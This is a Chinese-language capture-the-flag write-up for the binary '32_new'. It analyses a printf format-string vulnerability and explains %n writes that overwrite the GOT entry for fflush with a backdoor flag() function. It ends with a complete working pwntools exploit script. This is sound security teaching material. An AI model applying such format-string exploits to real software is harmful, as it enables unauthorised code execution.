相关资源
文件分析 1 2 3 4 5 6 7 8 9 10 11 $ checksec 32_new Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) $ ./32_new Hello baby pwner, whats your name? guyinatuxedo Ok cool, soon we will know whether you pwned it or not. Till then Bye guyinatuxedo
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char s[200 ]; char format[300 ]; unsigned int v5; v5 = __readgsdword(0x14 u); puts ("Hello baby pwner, whats your name?" ); fflush(stdout ); fgets(s, 200 , edata); fflush(edata); sprintf (format, "Ok cool, soon we will know whether you pwned it or not. Till then Bye %s" , s); fflush(stdout ); printf (format); fflush(stdout ); exit (1 ); } void flag (void ) { system("cat flag.txt" ); return ; }
11# 获取输入置于format
中
13# 直接输出format(存在格式化字符串漏洞)
18# 有后门函数flag
攻击方法 因为栈上地址无法泄露,我们不可获取栈地址从而写返回地址
但是main最后还调用了库函数fflush
,我们可以改写got表中它的真实地址为flag
函数的地址,从而获取flag
%n作用 把截至目前成功输出的字符数量以int
型数据格式写入到对应地址
%{num}$x作用 指定第{num}
个参数进行输出/写入 那么printf("hhh%2$n", a, b)
也就是将3
写入第二个参数b
指向的内存(注意不是改写b本身)
覆盖方式 从低字节向高字节覆盖,注意写入的值只增不减 (因为输出只会多不会少),但我们通常只要保证低字节位为我们想要的值即可,溢出可以继续被覆盖
例: 假如我们想写入0x0862
,但我们目前就已经输出了0x70
个字符
法一:首先凑满0x162
写入最低地址,再凑够0x208
写入地址加一,假设溢出对后面没有太大影响的话就已经写入成功
法二:直接凑够0x862
个字符写入
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from ctypes import *import syscontext(os='linux' , arch='i386' , log_level='debug' ) mode = '' if len (sys.argv) > 1 : mode = sys.argv[1 ] proc = process("./32_new" ) belf = ELF("./32_new" ) def s (x ): proc.send(x)def sl (x ): return proc.sendline(x)def sd (x ): return proc.send(x)def sla (x, y ): return proc.sendlineafter(x, y)def sa (x, y ): return proc.sendafter(x, y)def ru (x ): return proc.recvuntil(x)def rc (): return proc.recv()def rl (): return proc.recvline()def li (con ): return log.info(con)def ls (con ): return log.success(con)def pi (): return proc.interactive()def pcls (): return proc.close()def ga (): return u64(ru(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))gscript = ''' b main b * 0x080487D7 c ''' if mode == '-d' : gdb.attach(proc, gdbscript=gscript) flag = 0x0804870B main = 0x08048724 fflush_got = belf.got['fflush' ] payload = p32(fflush_got) payload += p32(fflush_got + 1 ) + p32(fflush_got + 3 ) payload += b'%185d%10$n' payload += b'%892d%11$n' payload += b'%129d%12$n' sla(b'name?' , payload) pi() pause()